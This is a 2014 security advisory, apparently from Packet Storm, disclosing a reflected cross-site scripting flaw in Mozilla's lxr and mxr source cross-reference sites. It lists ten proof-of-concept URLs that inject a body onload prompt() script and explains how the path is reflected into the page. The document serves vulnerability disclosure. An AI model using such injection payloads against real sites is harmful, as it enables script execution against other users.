Mozilla.org Cross Site Scripting

🗓️ 20 Oct 2014 00:00:00Reported by Jing WangType
packetstorm🔗 packetstormsecurity.com👁 33 Views
Cross Site Scripting vulnerability in Mozilla.org cross-reference domain
`Domains:  
http://lxr.mozilla.org/  
http://mxr.mozilla.org/  
(The two domains above are almost the same)  
  
  
  
  
Websites information:  
lxr.mozilla.org, mxr.mozilla.org are cross references designed to display  
the Mozilla source code. The sources displayed are those that are currently  
checked in to the mainline of the mozilla.org CVS server, Mercurial Server,  
and Subversion Server; these pages are updated many times a day, so they  
should be pretty close to the latest‑and‑greatest. (from Mozilla)  
  
  
  
  
Vulnerability description:  
All pages under the following two URLs are vulnerable.  
http://lxr.mozilla.org/mozilla-central/source  
http://mxr.mozilla.org/mozilla-central/source  
  
  
This means all URLs under the above two domains can be used for XSS attacks  
targeting Mozilla's users.  
  
Since there are large number of pages under them. Meanwhile, the contents  
of the two domains vary. This makes the vulnerability very dangerous.  
Attackers can use different URLs to design XSS attacks to Mozilla's variety  
class of users.  
  
The vulnerability have been reported to bugzilla.mozilla.org. Mozilla are  
dealing with this issue.  
  
  
  
  
POCs:  
http://lxr.mozilla.org/mozilla-central/source/<body  
onload=prompt("justqdjing")>  
http://lxr.mozilla.org/mozilla-central/source/mobile/android/<body  
onload=prompt("justqdjing")>  
http://lxr.mozilla.org/mozilla-central/source/Android.mk/<body  
onload=prompt("tetraph")>  
http://lxr.mozilla.org/mozilla-central/source/storage/public/mozIStorageBindingParamsArray.idl/<body  
onload=prompt("tetraph")>  
http://lxr.mozilla.org/mozilla-central/source/netwerk/protocol/device/AndroidCaptureProvider.cpp<body  
onload=prompt("tetraph")>  
  
  
http://mxr.mozilla.org/mozilla-central/source/<body  
onload=prompt("justqdjing")>  
http://mxr.mozilla.org/mozilla-central/source/webapprt/<body  
onload=prompt("justqdjing")>  
http://mxr.mozilla.org/mozilla-central/source/mozilla-config.h.in/<body  
onload=prompt("justqdjing")>  
http://mxr.mozilla.org/mozilla-central/source/chrome/nsChromeProtocolHandler.h/<body  
onload=prompt("tetraph")>  
http://mxr.mozilla.org/mozilla-central/source/security/sandbox/linux/x86_32_linux_syscalls.h/<body  
onload=prompt("tetraph")>  
  
  
  
  
POC Video:  
https://www.youtube.com/user/tetraph  
  
  
  
  
Vulnerability Analysis:  
Take the following link as an example,  
http://lxr.mozilla.org/mozilla-central/source/chrome/<attacktest>  
  
We can see that for the page reflected, it contains the following codes.  
<a href="/mozilla-central/source/chrome/%253Cattacktest%253E">  
<attacktest></attacktest>  
</a>  
  
If we insert "<body onload=prompt("justqdjing")>" into the URL, the code  
can be executed.  
  
  
  
  
The vulnerability can be attacked without user login. My tests were  
performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.  
  
  
Cross-site scripting (XSS) is a type of computer security vulnerability  
typically found in Web applications. XSS enables attackers to inject  
client-side script into Web pages viewed by other users. A cross-site  
scripting vulnerability may be used by attackers to bypass access controls  
such as the same origin policy. (From Wikipedia)  
  
  
  
  
Posted By:  
Wang Jing, mathematics student from Nanyang Technological University,  
Singapore.  
http://tetraph.com/wangjing/  
  
  
  
  
More Details:  
http://www.tetraph.com/blog/xss-vulnerability/mozilla-mozilla-org-two-sub-domains-cross-reference-xss-vulnerability-all-urls-under-the-two-domains/  
http://lxr.mozilla.org/mozilla-central/source  
http://mxr.mozilla.org/mozilla-central/source  
  
  
`
20 Oct 2014 00:00Current
7.4High risk
Vulners AI Score7.4